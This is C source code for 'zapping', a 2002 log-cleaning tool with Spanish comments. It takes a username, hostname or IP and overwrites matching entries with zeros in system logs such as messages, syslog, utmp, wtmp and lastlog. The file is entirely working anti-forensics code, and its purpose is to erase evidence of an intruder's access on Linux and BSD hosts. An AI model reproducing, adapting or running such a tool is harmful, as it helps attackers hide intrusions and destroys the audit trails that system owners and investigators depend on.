/* 
   Matias Sedalo <s0t4ipv6@shellcode.com.ar>
   zapping.c version 0.2

   Clean the logs of the common files in the OS, and search the rest
   of the files on the PATH defined in the dir var on main.
   Without repeating the search of this files in others PATH's.
   It should work on every linux and BSD distributions.
 
   Compile on *BSD:
   cc -o zapping2 -D__BSD zapping-0.2.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>  // Files
#include <sys/stat.h>
#include <fcntl.h>
#include <pwd.h>	// Logs
#include <utmp.h>      
#ifndef __BSD
#include <utmpx.h>
#include <lastlog.h>
#endif

#define	VERSION	"0.2"

#define	MAXF	8
#define DIRS   	5       // directorios de busqueda
#define	L_FILE	256
/* solo recorremos la 1/2 del archivo
   3 = 1/3 , 4 = 1/4 .. etc */
#define PART	2
/* particionamos el archivo si supera */
#define	LIMIT	32768	// 32k

typedef struct { int  state; char name[L_FILE]; } un_file ;
struct a_arch { un_file file[MAXF]; } ; 
	
/* agregar a su gusto desde aca ... */
  char *dir[DIRS]={"/usr/adm", "/var/log", "/var/run", "/var/adm" ,"/usr/log" };
  struct a_arch page[2]={
	/* Pagina 0: archivos de texto claro */
	0,"notice",	0,"info",
	0,"messages",	0,"sulog",
	0,"syslog",	0,"mail", 
	0,"",		0,"",	// agregar aca
	/* Pagina 1: archivos de formato */
        0,"utmp",	0,"utmpx",
	0,"wtmp",	0,"wtmpx",
	0,"lastlog",	0,"", 	// agregar aca
	};
  /* state 0 : inicializacion 
     state 1 : archivo encontrado
     state 2 : pattern borrado */
/* ... hasta aca */

/* uso */
void _use(char *alpha) {
  fprintf (stderr,"zapping version %s by s0t4ipv6 <s0t4ipv6@shellcode.com.ar>"
		"\nuse: %s [ username | hostname | IP ]\n", VERSION,alpha);
  exit(0);
}


int _detect(char *alpha) {
  char    tok[4]={0};
  int     sl=0;

  if ( (strchr(alpha, 0x2e )) != NULL ) {
    memccpy(tok, alpha, 0x2e , 3);
    sl=1; // 1 si es un hostname
    /* 2 si tiene el formato de IP */
    if ( atoi(tok) > 0 && atoi(tok) < 256 ) sl=2;
  }
  return sl;
}


int _pseek(int ffdd, int offset) {
  struct stat filestat;
  fstat(ffdd, &filestat);
  /* para archivos mayores a 4k */
  if ( filestat.st_size > LIMIT && offset > 1) 
  	lseek(ffdd, (filestat.st_size / offset), SEEK_CUR);
  return filestat.st_size;
}


void _formatclean(int fdesc, char *name, char *pat, int type) {
  int 	  size, org;
  int	  equis; 
  int	  chk=0, count=0;
  struct  passwd  *_pass;
  struct  utmp    uwtmp;
#ifndef __BSD
  struct  utmpx   uwtmpx;
  struct  lastlog _lastlog;
#else
  struct  utmp	 _lastlog;
#endif
  /* equis = 1 then utmpx wtmpx else 2 lastlog*/
  equis = _patterncmp("tmpx", name) ;
  if ( (_patterncmp("lastlog", name)) == 1 ) equis=2;

  switch (equis) {
    case 0:  // utmp wtmp
	size=sizeof(struct utmp);
	while ( (org=read(fdesc, &uwtmp, size)) > 0 ) {
#ifndef __BSD
	  if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_user);
#else
	  if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_name);
#endif
	  if ( type == 1 || type == 2 ) chk=_patterncmp(pat, uwtmp.ut_host);
	 if ( chk == 1 ) {
	  count++;
	  if( count == 1 )fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmp, 0x0, size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmp, size);
	 }
	}
	break;
    case 1:  // *tmpx
#ifndef __BSD
	size=sizeof(struct utmpx);
	while ( (org=read(fdesc, &uwtmpx, size)) > 0) {
	  if (type==0) chk=_patterncmp(pat, uwtmpx.ut_user);
	  if (type==1 || type==2) chk=_patterncmp(pat, uwtmpx.ut_host);
	 if (chk==1) {
	  count++;
	  if( count == 1 )fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmpx, 0x0,size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmpx, size);
	 }
	}
#else
	fprintf(stderr,"\n  Not supported on BSD");
#endif
	break;
    case 2:  // lastlog
	if ( type == 0 ) {
	size=sizeof(struct lastlog);
	 if ( (_pass=getpwnam(pat)) != NULL ) {
	  fprintf (stderr, "\n  Found %s, uid = %d home = %s", 
			pat, _pass->pw_uid,  _pass->pw_dir);
	  lseek(fdesc, _pass->pw_uid * size, SEEK_SET);
	  memset(&_lastlog, 0x0, size);
	  write(fdesc, &_lastlog, size);
	 } 
	} else { 
	  fprintf(stderr,"\n  !it could be clean with the username argument"); 
	}
	break;
  }
  if ( count != 0 ) fprintf(stderr, " %d times.", count);
}


void _asciiclean(int fdesc, char *name, char *pat) {
  int  size=strlen(pat);
  int  rest=0, cant=0, sf;
  char *find;
  int  filesize=_pseek(fdesc, PART);
  
  if ( (find=(char *)calloc(size, sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  while ( (read(fdesc, find, size)) > 0 ) {
    sf=_patterncmp(pat, find);
    if ( sf == 1 ) {
      memset(find, 0x0, size);
      lseek(fdesc,-size,SEEK_CUR);
      write(fdesc,find, size); 
      cant++;
      }
    if ( cant == 1 && sf == 1 ) fprintf(stderr,"\n  Pattern found: ");
    if ( rest + size != filesize)
      rest = lseek(fdesc, -size + 1, SEEK_CUR);
  }
  if ( cant != 0 ) fprintf(stderr,"%d times.", cant);
}


/* buscamos el string _bb en el buffer _aa */
int _patterncmp(char *_aa, char *_bb) {
  if ( memcmp(_aa, _bb, strlen(_aa)) == 0 ) 
    return 1;       // devuelve 1 si lo encontramos
   else
    return 0;       // 0 si no
}


/* intentamos abrir el archivo */
int _filesearch(char *path, char *filename) {
  int  filedesc;
  int  lenght=strlen(path)+strlen(filename)+1;
  char file[lenght];

  snprintf(file, lenght+1, "%s/%s", path, filename);
  filedesc=open(file, O_RDWR);
  return filedesc;
}


int main (int argc, char *argv[]) {
  int  a,b, pag;
  int  num_type, fd;
  char *pattern;
  char *tipo[3]={"username", "hostname", "IP"};

  if ( argc < 2 ) _use(argv[0]);
  if ( (pattern=(char *)calloc(strlen(argv[1]), sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  pattern=argv[1];
  num_type= _detect(pattern);

  fprintf (stderr, "\n[ Zapping version %s by s0t4ipv6 ]\n",VERSION);
  fprintf (stderr, "\n* Cleaning %s = '%s' on ...\n", tipo[num_type], pattern);

  /* mi peque#a maquina de busqueda */
  /* ya no me interesa _PATH_H_ */
  for (pag=0; pag<2 ; pag++) {
   for (a=0; a<MAXF; a++) {
    if ( strlen(page[pag].file[a].name) == 0 ) break ;
    fprintf(stderr, "\n* file '%s' ... ", page[pag].file[a].name);
    for (b=0; b<DIRS; b++) {
	fd=0;
	if ( page[pag].file[a].state == 0 )
	  fd = _filesearch(dir[b], page[pag].file[a].name);
	if ( fd > 0 ) {
	  fprintf(stderr, "found in '%s'", dir[b]);
 	  page[pag].file[a].state=1; // first state
	  switch (pag) {
	    case 0: 
		_asciiclean(fd, page[pag].file[a].name, pattern); 
		break;
	    case 1: 
		_formatclean(fd, page[pag].file[a].name, pattern, num_type); 
		break;
	  }
	  close(fd);
	} 
    }
    if ( page[pag].file[a].state == 0 ) fprintf(stderr,"not found!");
   }
  fprintf(stderr,"\n");
  }
	
fprintf(stderr,"\n_EOF\n\n");
exit(0);

} // _EOF_ (c) s0t4ipv6 2002
